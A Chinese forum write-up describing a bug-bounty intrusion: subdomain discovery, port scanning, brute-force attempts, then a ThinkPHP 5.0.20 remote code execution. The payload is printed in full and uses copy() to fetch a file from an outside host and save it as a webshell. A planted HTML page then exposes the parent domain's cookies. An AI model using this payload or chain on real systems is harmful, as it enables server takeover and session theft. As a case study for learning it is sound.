一次成功的子域名劫持
lego 渗透测试 10603浏览 · 2019-03-17 01:40

前言

之前在先知社区和freebuf上看过关于子域名劫持的文章,一直觉得这种漏洞挺有意思,
但是总感觉很难撞到能真正利用起来的,后来有幸目睹了Art3mis师傅进行了一次风骚的子域名劫持,

让我看到了实时案例,于是希望着有一天我也能挖个这种洞。

正文

子域名挖掘

在挖某厂商的SRC时,我用了农夫安全的farmscan_domain对他进行了子域名挖掘,

发现了一个子域名为xxxxxx.x.com

访问他发现了

然后我意识到了这里有搞头

信息收集

反解析ip 发现他是腾讯云下的服务器

用nmap扫描端口 发现他开放了22 80 888 8888端口

然后直接访问ip时 返回了一个json数据

{"code":0,"msg":"欢迎访问","data":[]}

有个扫出一个后台ip/Admin/login/index.html 这里的验证码不会刷新可进行爆破 经过一番尝试爆破不出密码

访问888端口 回响403

访问8888端口

我只能得到这些信息

这个腾讯云的服务器 用了宝塔面板 宝塔的后台地址我无法得知 有个可爆破的后台

在爆破了后台跟ssh无果之后我几乎放弃

然后我决定再对其进行一次目录爆破

RCE

然后我突然想访问一下这个目录看看他会报什么错xxxx/%3f/

于是最大的转机来了,报错了,最重要的是发现了这个

ThinkPHP V5.0.20 { 十年磨一剑-为API开发设计的高性能框架 }

下意识就想到了thinkphp的漏洞,

虽然看过了水泡泡师傅和chybeta师傅在先知上关于这个漏洞的文章,

但是因为各种原因没有好好复现过这个漏洞在后面插payload的过程中踩了很多坑,

进过多次尝试,终于成功的getshell了

poc

http://xxxx/index.php?s=captcha&lego=copy("http://xxx/lego.txt","test.php")

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=lego

蚁剑连上去

发现了一个hydra.php的文件,发现被人种过马了,

顺手把这个马删了。

在拿下这个域名的webshell之后,我想对这种漏洞进行一个利用

在这子域名下

携带了一些 *.xxx.com的cookie

于是我便想着上传一个xss页面

利用

直接用域名访问xxxxx/test.php 返回404

ip/test.php 会访问到我的一句话

只有在访问域名的时候浏览器才会携带cookie,用ip访问时浏览器不会携带cookie

意味着,我即使上传了带XSS的html页面,也无法访问到XSS页面。

但是我用域名:8888访问可以访问到宝塔那个页面

我起初想要修改那个页面来实现XSS

如果我们想要修改宝塔的话,就要访问/www/server/panel/ 目录,

但是我的webshell是没有权限访问那个目录了,除非提权,

但是这又是一台腾讯云的服务器,应该不会出现可以提权的漏洞,

于是我陷入了沉思。。。。。

然后沉思久了我就去WC了,在WC的过程中,我用手机看了一下宝塔官网的用户手册 http://docs.bt.cn/424204

在翻阅之后,我发现了一些有趣的东西,比如我们之前直接用域名访问,发现有那个没找到站点的页面,

其实这个是因为宝塔面板里面没有设置这个域名为解析的域名,所以会出现这种情况。

然后我们需要/etc/init.d/bt default才能查看宝塔的后台地址,我用蚁剑发现无法执行命令,估计是权限不够,

所以修改8888端口下的宝塔估计也是凉凉了

在继续翻阅宝塔的用户手册后,我发现了端口888运行了是phpmyadmin,然后我突然感觉到了我应该是可以完成这次利用了,

我找到了phpmyadmin的绝对路径

phpmyadmin_xxxxxxxxx

我们之前直接访问888端口返回的是

当我访问

xxx.com/phpmyadmin_xxxxxxxxx/

成功的跳转到了phpmyadmin的后台

在这个目录下新建一个html页面,访问

子域名:888/phpmyadmin_xxxxxxxxx/test.html

成功弹出cookie

至此,我的利用已经完成了。

总结

这次渗透不得不说,有很多的运气成分,主要时间在于信息收集上和学习新的事物上,
第一次挖子域名劫持,第一次认真利用thinkphp的RCE,和第一次真正的接触宝塔面板,
整个过程磕磕绊绊,收获了很多。

7 条评论
某人
表情
可输入 255